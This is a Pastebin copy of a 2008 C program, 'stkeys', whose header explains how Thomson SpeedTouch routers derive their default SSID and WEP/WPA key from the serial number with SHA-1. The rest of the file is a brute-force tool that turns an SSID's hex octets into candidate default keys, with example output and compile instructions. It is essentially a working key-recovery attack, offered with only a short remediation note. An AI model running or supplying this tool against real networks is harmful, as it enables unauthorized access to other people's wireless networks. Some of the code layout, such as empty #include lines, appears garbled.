Advertisement
Guest User

Untitled

a guest
Nov 4th, 2010
386
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.88 KB | None | 0 0
  1. Author: Kevin Devine
  2. Date:   April 2008
  3. /*
  4. **************************************************************************
  5. *                                                                        *
  6. * Default WEP/WPA key generation for Thomson series wireless routers     *
  7. *                                                                        *
  8. *   Date: March 15th 2008                                                *
  9. *   Author: Kevin Devine                              *
  10. *                                                                        *
  11. **************************************************************************
  12.  
  13. AFAIK, this is a well known problem by some ISP.
  14. It is likely to affect any owner of a Thomson wireless router with
  15. default settings installed.
  16.  
  17. **************************************************************************
  18.  
  19. The format of a serial number:
  20.  
  21. CP YY WW PP XXX (CC)
  22.  
  23. And from what i can tell of the following serial number taken from
  24. router i received.
  25.  
  26. CP 06 15 JT 109 (53)
  27.  
  28. YY is the year produced.      ( 2006  ) ?
  29. WW is the week of year.       ( some week of April ) ?
  30. PP is the production code.    ( JT ) factory code?
  31. CC is the configuration code. ( 53 ) seems to be 00 - ZZ (0-9/A-Z)
  32.  
  33. I can only guess that the XXX values represent the unit number
  34.  
  35. **************************************************************************
  36.  
  37. The key generation is simple enough.
  38.  
  39. Take as example: "CP0615JT109 (53)"
  40.  
  41. Remove the CC and PP values
  42.  
  43. "CP0615109"
  44.  
  45. Convert the XXX values to hexadecimal.
  46.  
  47. "CP0615313039"
  48.  
  49. Process with SHA-1
  50.  
  51. 742da831d2b657fa53d347301ec610e1ebf8a3d0
  52.  
  53. The last 3 bytes are converted to 6 byte string, and appended to
  54. the word "SpeedTouch" which becomes the default SSID.
  55.  
  56. "SpeedTouchF8A3D0"
  57.  
  58. The first 5 bytes are converted to a 10 byte string which
  59. becomes the default WEP/WPA key.
  60.  
  61. "742DA831D2"
  62.  
  63. Thats it..
  64. **************************************************************************
  65.  
  66. I was unable to determine if its possible to obtain the base serial
  67. number from the MAC, but it can't be ruled out.
  68.  
  69. The method of recovery here using brute force attack of the
  70. default SSID octets, is pretty lame..but is enough for now.
  71.  
  72. Theoretically, with 3 octets, no more than ~2 attempts are required
  73. before successfully accessing the router.
  74.  
  75. When only 2 octets are provided, (example:BT Voyager/Home Hub routers)
  76. more potential keys are generated, with further required attempts -
  77. an average of 80.
  78.  
  79. This still improves odds of an attacker gaining access
  80. to WPA protected routers - more so if an attacker can capture a WPA
  81. handshake and crack with Aircrack,Cain & Abel or offline with coWPAtty.
  82.  
  83. Obviously the problem is with implementation of key/ssid generation
  84. and not WPA itself.
  85. **************************************************************************
  86.  
  87. The only solution _right now_ is to have customers either turn off wireless
  88. (if its not being used), or change the default settings.
  89.  
  90. To compile, use:
  91.  
  92. gcc -fomit-frame-pointer -O3 -funroll-all-loops stkeys.c sha1.c -ostkeys
  93.  
  94. Use OpenSSL SHA-1 for this to run faster..
  95.  
  96. Example usage for ST585v6 router:
  97.  
  98. SSID: "SpeedTouchF8A3D0":
  99.  
  100. c:\stkeys -v -iF8A3D0
  101.  
  102. Serial Number: CP0615**109 - potential key = 742DA831D2  <- this is the right one
  103. Serial Number: CP0621**AHJ - potential key = 00651124D9
  104.  
  105. Found 2 potential keys.
  106.  
  107. */
  108.  
  109. #include
  110. #include
  111.  
  112. #include "sha1.h"
  113.  
  114. #define SHA1Init SHA1Reset
  115. #define SHA1Update SHA1Input
  116. #define SHA1Final SHA1Result
  117. #define SHA1_CTX SHA1Context
  118.  
  119. typedef unsigned char u8;
  120. typedef unsigned int u32;
  121.  
  122. const u8 charTable[]="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  123. const u8 hexTable[]="0123456789ABCDEF";
  124. u8 serial[13]={'C','P','0',0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
  125.  
  126. #define SERIAL_LENGTH 12
  127. #define MAX_SSID_OCTETS 6
  128. #define DEFAULT_KEY_SIZE 5
  129.  
  130. #define hexmsb(x)(hexTable[((x & 0xf0) >> 4)])
  131. #define hexlsb(x)(hexTable[ (x & 0x0f)])
  132.  
  133. void usage(char **argv) {
  134.  
  135. fprintf(stdout,"\n\tUso: %s [ -i  ] [ -o  ]\n"
  136. "\n\t -i : Los octetos hexadecimales del SSID del router Thomson"
  137. "\n\t -o : Especificar el fichero de salida para las posibles claves"
  138. "\n\t -v : Imprime en pantalla las posibles claves encontradas\n\n",*argv);
  139.  
  140. exit(0);
  141. }
  142.  
  143. /*
  144. * convert hexadecimal ssid string to binary
  145. * return 0 on error or binary length of string
  146. *
  147. */
  148. u32 str2ssid(u8 ssid[],u8 *str) {
  149.  
  150. u8 *p,*q = ssid;
  151. u32 len = strlen(str);
  152.  
  153. if( (len % 2) || (len > MAX_SSID_OCTETS) )
  154. return(0);
  155.  
  156. for(p = str;(*p = toupper(*p)) && (strchr(hexTable,*p)) != 0;) {
  157.  
  158. if(--len % 2) {
  159. *q = ((u8*)strchr(hexTable,*p++) - hexTable);
  160. *q <<= 4;
  161. }else {
  162. *q++ |= ((u8*)strchr(hexTable,*p++) - hexTable);
  163. }
  164. }
  165. return( (len) ? 0 : (p - str) / 2);
  166. }
  167.  
  168. /*
  169. * print 5 bytes to output file
  170. *
  171. */
  172. void dump_key(FILE *out, u8 *key) {
  173.  
  174. u32 i;
  175. u8 *p = key;
  176.  
  177. for(i = 0;i < DEFAULT_KEY_SIZE;i++)       fprintf(out,"%.2X",*p++);     fprintf(out,"\n"); } int main(int argc, char **argv) {     u8 sha1_digest[40]={0};     u8 ssid[8]={0},buf[8]={0},year,week,x1,x2,x3;     u32 keys = 0,ssidLen = 0,verbose = 0, opt = 0;     u8 *p,*q,*strId = NULL;     FILE *ofile = NULL;     SHA1_CTX sha1_ctx;     if(argc > 1) {
  178. while( (opt = getopt(argc, argv,"vo:i:")) != -1) {
  179.  
  180. switch(opt) {
  181.  
  182. case 'i' :
  183. strId = optarg;
  184. break;
  185.  
  186. case 'o' :
  187. if((ofile = fopen(optarg,"wb")) == NULL) {
  188. fprintf(stderr,"\nNo puedo abrir %s para la salida.\n",optarg);
  189. return(0);
  190. }
  191. break;
  192.  
  193. case 'v' :
  194. verbose++;
  195. break;
  196.  
  197. default:
  198. usage(argv);
  199. }
  200. }
  201.  
  202. if(!strId) usage(argv);
  203.  
  204. if(!(ssidLen = str2ssid(ssid,strId))) usage(argv);
  205.  
  206. fprintf(stdout,"\nGenerando claves... por favor espera\n\n");
  207.  
  208. // generate values only for 2005/2007..change if you want.
  209.  
  210. for(year = 5;year <= 7;year++) {
  211.  
  212. serial[3] = year | '0';
  213.  
  214. // 52 weeks of the year
  215.  
  216. for(week = 1;week <= 52;week++) {
  217.  
  218. serial[4] = (week / 10) + '0';
  219. serial[5] = (week % 10) + '0';
  220.  
  221. for(x1 = 0;x1 < 36;x1++) {
  222.  
  223. serial[6] = hexmsb(charTable[x1]);
  224. serial[7] = hexlsb(charTable[x1]);
  225.  
  226. for(x2 = 0;x2 < 36;x2++) {
  227.  
  228. serial[8] = hexmsb(charTable[x2]);
  229. serial[9] = hexlsb(charTable[x2]);
  230.  
  231. for(x3 = 0;x3 < 36;x3++) {
  232.  
  233. serial[10] = hexmsb(charTable[x3]);
  234. serial[11] = hexlsb(charTable[x3]);
  235.  
  236. // hash serial number with sha-1
  237.  
  238. SHA1Init(&sha1_ctx);
  239. SHA1Update(&sha1_ctx,serial,SERIAL_LENGTH);
  240. SHA1Final(&sha1_ctx,sha1_digest);
  241.  
  242. // compare SSID octets with last number of bytes supplied
  243.  
  244. if(memcmp(&sha1_digest[(20-ssidLen)],ssid,ssidLen) == 0) {
  245.  
  246. keys++;
  247.  
  248. if(verbose) {
  249.  
  250. memcpy(buf,serial,6);
  251.  
  252. fprintf(stdout,
  253. "Número de Serie: %s**%C%C%C - posible clave = ",
  254. buf,charTable[x1],charTable[x2],charTable[x3]);
  255.  
  256. dump_key(stdout,sha1_digest);
  257. }
  258. if(ofile) {
  259. dump_key(ofile,sha1_digest);
  260. }
  261. }
  262. }
  263. }
  264. }
  265. }
  266. }
  267. fprintf(stdout,"\nResultado: %d posibles claves.\n\n",keys);
  268.  
  269. if(ofile) fclose(ofile);
  270. }
  271. else {
  272. usage(argv);
  273. }
  274. return(0);
  275. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement